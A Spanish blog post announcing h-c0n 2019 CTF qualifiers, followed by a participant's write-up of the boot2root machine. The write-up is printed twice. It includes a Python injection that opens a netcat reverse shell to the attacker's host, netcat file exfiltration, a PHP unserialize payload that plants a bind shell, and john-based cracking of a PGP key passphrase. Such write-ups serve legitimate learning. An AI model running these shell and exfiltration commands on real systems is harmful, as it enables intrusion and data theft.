Como sabéis este año hemos hecho una clasificación para el CTF de la h-c0n 2019 muy peculiar en cuanto el formato respecto al año anterior. Teníamos claro que queríamos poner en liza otro reto tipo 'boot2root' pero esta vez hemos podido servir la máquina online y además poder interactuar con ella y con el juego mediante un bot en Telegram. Gracias otra vez a César, Romam y Pablo respectivamente por hacerlo posible.
Y como siempre vuestra respuesta ha sido increíble y a dos días para cerrar la clasificación o qual ya tenemos el top 20 definitivo de usuarios que pasan a la siguiente fase, es decir, el CTF organizado por iHackLabs:
https://www.h-c0n.com/p/ctf.html#scoreboardqual
Enhorabuena a los clasificados y muchas gracias a todos los que habéis participado, con especial mención a aquellos que se han quedado a las puertas de poder entrar. ¡Seguro que el año que viene lo conseguís!
Por último os dejo con uno de los writeups recibidos por el bot, en este caso el de Joan M. aka magichk:
Tenemos 4 hosts idénticos para hacer el CTF con las siguientes direcciones IP:
X.X.X.70
X.X.X.71
X.X.X.72
X.X.X.73
Pues vamos primero de todo a enumerar. Para ello nos ayudaremos de la herramienta
nmap.
Encontramos cosas interesantes como el puerto 22, 80 y el 10000 abiertos.
Hacemos pruebas con dirb en el puerto 80 pero no encontramos nada relevante más que el index. Así que vamos al puerto 10000.
Por web ya vemos un error de python como este:
Probamos a conectarnos con netcat. Vemos que el script ejecuta un ping tantas veces como le digamos.
Tenemos que tratar de escapar con el parámetro que nos piden. Vemos que no podemos
poner en el parámetro nada que contenga los carácteres “ ; && || o # “ así que buscamos
maneras de ejecutar un comando del sistema y nos encontramos con que podemos hacer
un :
__import__(“os”).system(“nc Y.Y.Y.157 40023 -e /bin/bash”)
Previamente hemos puesto nuestra consola a escuchar al puerto 40023.
Con esto conseguimos, importar la libreria os para ejecutar comandos del sistema y a la
vez, le indicamos que lo que queremos es hacer una reverse shell desde el servidor hacía mi al puerto 40023 ejecutando el proceso /bin/bash
Cuando ejecutamos , recibimos la conexión en la consola que tenemos escuchando en el
puerto 40023.
Nos descargamos los ficheros a nuestra máquina mediante nc. Primero ponemos la
máquina que va a recibir los ficheros a la escucha así :
nc -l -p 40022 > password.png.fun
Y luego en la máquina que acabamos de obtener la consola ejecutamos:
nc 192.168.1.2 40022 < password.png.fun
Así nos enviamos uno a uno los ficheros:
● password.png.fun
● password.txt.fun
● user.jpeg.fun
Detectamos que los ficheros .fun son ficheros encriptados por un ransomware, en concreto
por el ransomware jigsaw.
Para poder desencriptar estos ficheros necesitaremos una máquina con windows y ejecutar
una utilidad creada especialmente para desencriptar ficheros de este ransomware. La
utilidad en questión es JigsawDecrypter y al ejecutarla, le decimos un directorio a
desencriptar. En el mismo directorio nos deja los ficheros desencriptados, dónde veremos 2
imágenes y 1 fichero de password.
Como vemos el fichero de texto son unas credenciales:
user: grecie
pass: d3v3lsecurity
Entendemos que son para conectarnos por ssh. Vamos a ver las dos imágenes:
En la primera de ellas , no encontramos nada, pero la segunda nos llama la atención porque parece que es un piet. Así que tratamos de desencriptarla. Para ello vamos a ir a la web de
https://www.bertnase.de/npiet/npiet-execute.php y le subimos la imagen. Nos dará el
siguiente resultado:
Vemos que es como un bucle infinito con el patrón: stuxnetcreatethismachine
Bien, tenemos la imagen de user a la cual vamos a intentar con steghide extraer su
contenido oculto con la passphrase que acabamos de encontrar:
stuxnetcreatethismachine
Esto nos extrae un fichero user.txt que como vemos en la imagen contiene la flag del user.
Para continuar nos conectamos a la máquina mediante las credenciales del fichero
password.txt que hemos mostrado anteriormente al desencriptarlas del ransomware jitsaw.
si hacemos un netstat -ntl para ver que puertos esta escuchando la máquina nos
encontramos con un puerto 13000 que no sabemos qué contiene.
Tratamos de descarganos el contenido con wget y nos damos cuenta que nos devuelve un
contenido curioso, concretamente que vayamos a ../root.flag para conseguir la flag.
Evidentemente no tenemos permisos!
Al principio de todo vemos como un string codificado. Lo copiamos y como parece que es
una cadena en hexadecimal la intentamos convertir , probamos a base64.
Tratamos de decodificar la siguiente cadena directamente con un base64 -d file64 >
decodified64 , pero no obtenemos nada legible. La sorpresa viene cuando lo que hacemos
es un :
cat file64 | rev | base64 -d > base64_rev
Le damos la vuelta a la cadena en base64 y obtenemos como resultado el código en php de la página de inicio! Podemos ver la lógica que sigue para decirnos si el fichero existe o no existe antes de printar la web.
En esta captura también vemos que se está usando la función unserialized de php y nos
encontramos con una vulnerabilidad de ejecución de código remoto
https://www.notsosecure.com/remote-code-execution-via-php-unserialize/
Vamos a intentar explotarla. Primero de todo vamos a crear en /tmp un fichero con el
siguiente payload:
Le estamos diciendo que cree el fichero shell1.php con el contenido que vemos de <?php
system(‘nc -lvp 12345 -e /bin/bash’)?> , eso quiere decir que está poniendo a la escucha el puerto 12345 en la máquina.
Para poder ejecutar éste payload lo que haremos es crear un túnel a la máquina y conectar
por web.
Ahora nos conectamos a la url http://localhost:13000/index.php?file=/tmp/test.txt para que coja nuestro fichero test.txt con el payload y lo ejecute.
Esto lo que ha hecho es crearnos el fichero shell1.php en la raíz del servidor web en este
puerto, 13000, con el contenido anterior. Por lo tanto vamos a ejecutarlo de la siguiente
manera:
Vemos que la web se queda “pensando” y por lo tanto quiere decir que probablemente será el netcat que esta a la espera que nos conectemos! Vamos a probar.
Conectamos y vemos que somos root ! Vamos al directorio /root y vemos que tenemos la
flag de root encriptada en pgp!
Volvemos a enviar a nuestra máquina el fichero root.txt.pgp mediante netcat.
Vemos que hay un directorio /bak y que contiene una imágen! Nos la descargamos también a nuestra máquina.
Tenemos por un lado una imagen y por otro lado un fichero con la flag encriptada. Vamos a
analizar la imágen con steghide.
steghide extract -sf nsa.jgp
No le ponemos contraseña, simplemente pulsamos enter. Vemos que nos extrae un fichero
hc0nprivate.asc
Vamos a ver el contenido de este nuevo fichero:
Es una clave pgp. Probablemente tengamos que importar esta clave pgp para desencriptar
el fichero con la flag. Vamos a intentarlo.
Ejecutamos gpg2john hc0nprivate.asc para intentar obtener un hash para que john the
ripper pueda intentar crackearla. Vemos que obtiene un hash así que decidimos guardar
ese hash en un fichero llamado hash valga la redundancia.
Ahora con john the ripper vamos a intentar crackear el hash. Nos devuelve la pass: “coffee”
Pues ahora lo que vamos a hacer es importar la clave pgp y cuando nos pregunte por la
contraseña, pondremos coffee. En este writeup no aparece porque ya la tenemos
importada, pero simplemente cuando nos pregunte el password para importar, pondremos
coffee, que és el que acabamos de obtener. Para ello ejecutamos:
gpg --import hc0nprivate.asc
Se importa correctamente. Ahora vamos a comprobar que efectivamente se ha importado
correctamente la key con el siguiente comando:
gpg --list-secret-keys
Y posteriormente vamos a intentar desencriptar la flag con esta clave pgp. Lo mismo de
antes, al querer utilizar la clave pgp nos pedirá un password que es coffee. Primero vamos a intentar desencriptar el contenido con este comando :
gpg --output flag_decrypted2.txt --decrypt root.txt.pgp
Nos pedirá el password en una ventana emergente:
Por último hacemos un cat del fichero que acabamos de generar y vemos la flag !
Y como siempre vuestra respuesta ha sido increíble y a dos días para cerrar la clasificación o qual ya tenemos el top 20 definitivo de usuarios que pasan a la siguiente fase, es decir, el CTF organizado por iHackLabs:
https://www.h-c0n.com/p/ctf.html#scoreboardqual
Enhorabuena a los clasificados y muchas gracias a todos los que habéis participado, con especial mención a aquellos que se han quedado a las puertas de poder entrar. ¡Seguro que el año que viene lo conseguís!
Por último os dejo con uno de los writeups recibidos por el bot, en este caso el de Joan M. aka magichk:
Tenemos 4 hosts idénticos para hacer el CTF con las siguientes direcciones IP:
X.X.X.70
X.X.X.71
X.X.X.72
X.X.X.73
Pues vamos primero de todo a enumerar. Para ello nos ayudaremos de la herramienta
nmap.
Encontramos cosas interesantes como el puerto 22, 80 y el 10000 abiertos.
Hacemos pruebas con dirb en el puerto 80 pero no encontramos nada relevante más que el index. Así que vamos al puerto 10000.
Por web ya vemos un error de python como este:
Probamos a conectarnos con netcat. Vemos que el script ejecuta un ping tantas veces como le digamos.
Tenemos que tratar de escapar con el parámetro que nos piden. Vemos que no podemos
poner en el parámetro nada que contenga los carácteres “ ; && || o # “ así que buscamos
maneras de ejecutar un comando del sistema y nos encontramos con que podemos hacer
un :
__import__(“os”).system(“nc Y.Y.Y.157 40023 -e /bin/bash”)
Previamente hemos puesto nuestra consola a escuchar al puerto 40023.
Con esto conseguimos, importar la libreria os para ejecutar comandos del sistema y a la
vez, le indicamos que lo que queremos es hacer una reverse shell desde el servidor hacía mi al puerto 40023 ejecutando el proceso /bin/bash
Cuando ejecutamos , recibimos la conexión en la consola que tenemos escuchando en el
puerto 40023.
Nos descargamos los ficheros a nuestra máquina mediante nc. Primero ponemos la
máquina que va a recibir los ficheros a la escucha así :
nc -l -p 40022 > password.png.fun
Y luego en la máquina que acabamos de obtener la consola ejecutamos:
nc 192.168.1.2 40022 < password.png.fun
Así nos enviamos uno a uno los ficheros:
● password.png.fun
● password.txt.fun
● user.jpeg.fun
Detectamos que los ficheros .fun son ficheros encriptados por un ransomware, en concreto
por el ransomware jigsaw.
Para poder desencriptar estos ficheros necesitaremos una máquina con windows y ejecutar
una utilidad creada especialmente para desencriptar ficheros de este ransomware. La
utilidad en questión es JigsawDecrypter y al ejecutarla, le decimos un directorio a
desencriptar. En el mismo directorio nos deja los ficheros desencriptados, dónde veremos 2
imágenes y 1 fichero de password.
Como vemos el fichero de texto son unas credenciales:
user: grecie
pass: d3v3lsecurity
Entendemos que son para conectarnos por ssh. Vamos a ver las dos imágenes:
En la primera de ellas , no encontramos nada, pero la segunda nos llama la atención porque parece que es un piet. Así que tratamos de desencriptarla. Para ello vamos a ir a la web de
https://www.bertnase.de/npiet/npiet-execute.php y le subimos la imagen. Nos dará el
siguiente resultado:
Vemos que es como un bucle infinito con el patrón: stuxnetcreatethismachine
Bien, tenemos la imagen de user a la cual vamos a intentar con steghide extraer su
contenido oculto con la passphrase que acabamos de encontrar:
stuxnetcreatethismachine
Esto nos extrae un fichero user.txt que como vemos en la imagen contiene la flag del user.
Para continuar nos conectamos a la máquina mediante las credenciales del fichero
password.txt que hemos mostrado anteriormente al desencriptarlas del ransomware jitsaw.
si hacemos un netstat -ntl para ver que puertos esta escuchando la máquina nos
encontramos con un puerto 13000 que no sabemos qué contiene.
Tratamos de descarganos el contenido con wget y nos damos cuenta que nos devuelve un
contenido curioso, concretamente que vayamos a ../root.flag para conseguir la flag.
Evidentemente no tenemos permisos!
Al principio de todo vemos como un string codificado. Lo copiamos y como parece que es
una cadena en hexadecimal la intentamos convertir , probamos a base64.
Tratamos de decodificar la siguiente cadena directamente con un base64 -d file64 >
decodified64 , pero no obtenemos nada legible. La sorpresa viene cuando lo que hacemos
es un :
cat file64 | rev | base64 -d > base64_rev
Le damos la vuelta a la cadena en base64 y obtenemos como resultado el código en php de la página de inicio! Podemos ver la lógica que sigue para decirnos si el fichero existe o no existe antes de printar la web.
En esta captura también vemos que se está usando la función unserialized de php y nos
encontramos con una vulnerabilidad de ejecución de código remoto
https://www.notsosecure.com/remote-code-execution-via-php-unserialize/
Vamos a intentar explotarla. Primero de todo vamos a crear en /tmp un fichero con el
siguiente payload:
Le estamos diciendo que cree el fichero shell1.php con el contenido que vemos de <?php
system(‘nc -lvp 12345 -e /bin/bash’)?> , eso quiere decir que está poniendo a la escucha el puerto 12345 en la máquina.
Para poder ejecutar éste payload lo que haremos es crear un túnel a la máquina y conectar
por web.
Ahora nos conectamos a la url http://localhost:13000/index.php?file=/tmp/test.txt para que coja nuestro fichero test.txt con el payload y lo ejecute.
Esto lo que ha hecho es crearnos el fichero shell1.php en la raíz del servidor web en este
puerto, 13000, con el contenido anterior. Por lo tanto vamos a ejecutarlo de la siguiente
manera:
Vemos que la web se queda “pensando” y por lo tanto quiere decir que probablemente será el netcat que esta a la espera que nos conectemos! Vamos a probar.
Conectamos y vemos que somos root ! Vamos al directorio /root y vemos que tenemos la
flag de root encriptada en pgp!
Volvemos a enviar a nuestra máquina el fichero root.txt.pgp mediante netcat.
Vemos que hay un directorio /bak y que contiene una imágen! Nos la descargamos también a nuestra máquina.
Tenemos por un lado una imagen y por otro lado un fichero con la flag encriptada. Vamos a
analizar la imágen con steghide.
steghide extract -sf nsa.jgp
No le ponemos contraseña, simplemente pulsamos enter. Vemos que nos extrae un fichero
hc0nprivate.asc
Vamos a ver el contenido de este nuevo fichero:
Es una clave pgp. Probablemente tengamos que importar esta clave pgp para desencriptar
el fichero con la flag. Vamos a intentarlo.
Ejecutamos gpg2john hc0nprivate.asc para intentar obtener un hash para que john the
ripper pueda intentar crackearla. Vemos que obtiene un hash así que decidimos guardar
ese hash en un fichero llamado hash valga la redundancia.
Ahora con john the ripper vamos a intentar crackear el hash. Nos devuelve la pass: “coffee”
Pues ahora lo que vamos a hacer es importar la clave pgp y cuando nos pregunte por la
contraseña, pondremos coffee. En este writeup no aparece porque ya la tenemos
importada, pero simplemente cuando nos pregunte el password para importar, pondremos
coffee, que és el que acabamos de obtener. Para ello ejecutamos:
gpg --import hc0nprivate.asc
Se importa correctamente. Ahora vamos a comprobar que efectivamente se ha importado
correctamente la key con el siguiente comando:
gpg --list-secret-keys
Y posteriormente vamos a intentar desencriptar la flag con esta clave pgp. Lo mismo de
antes, al querer utilizar la clave pgp nos pedirá un password que es coffee. Primero vamos a intentar desencriptar el contenido con este comando :
gpg --output flag_decrypted2.txt --decrypt root.txt.pgp
Nos pedirá el password en una ventana emergente:
Por último hacemos un cat del fichero que acabamos de generar y vemos la flag !
Comentarios
Publicar un comentario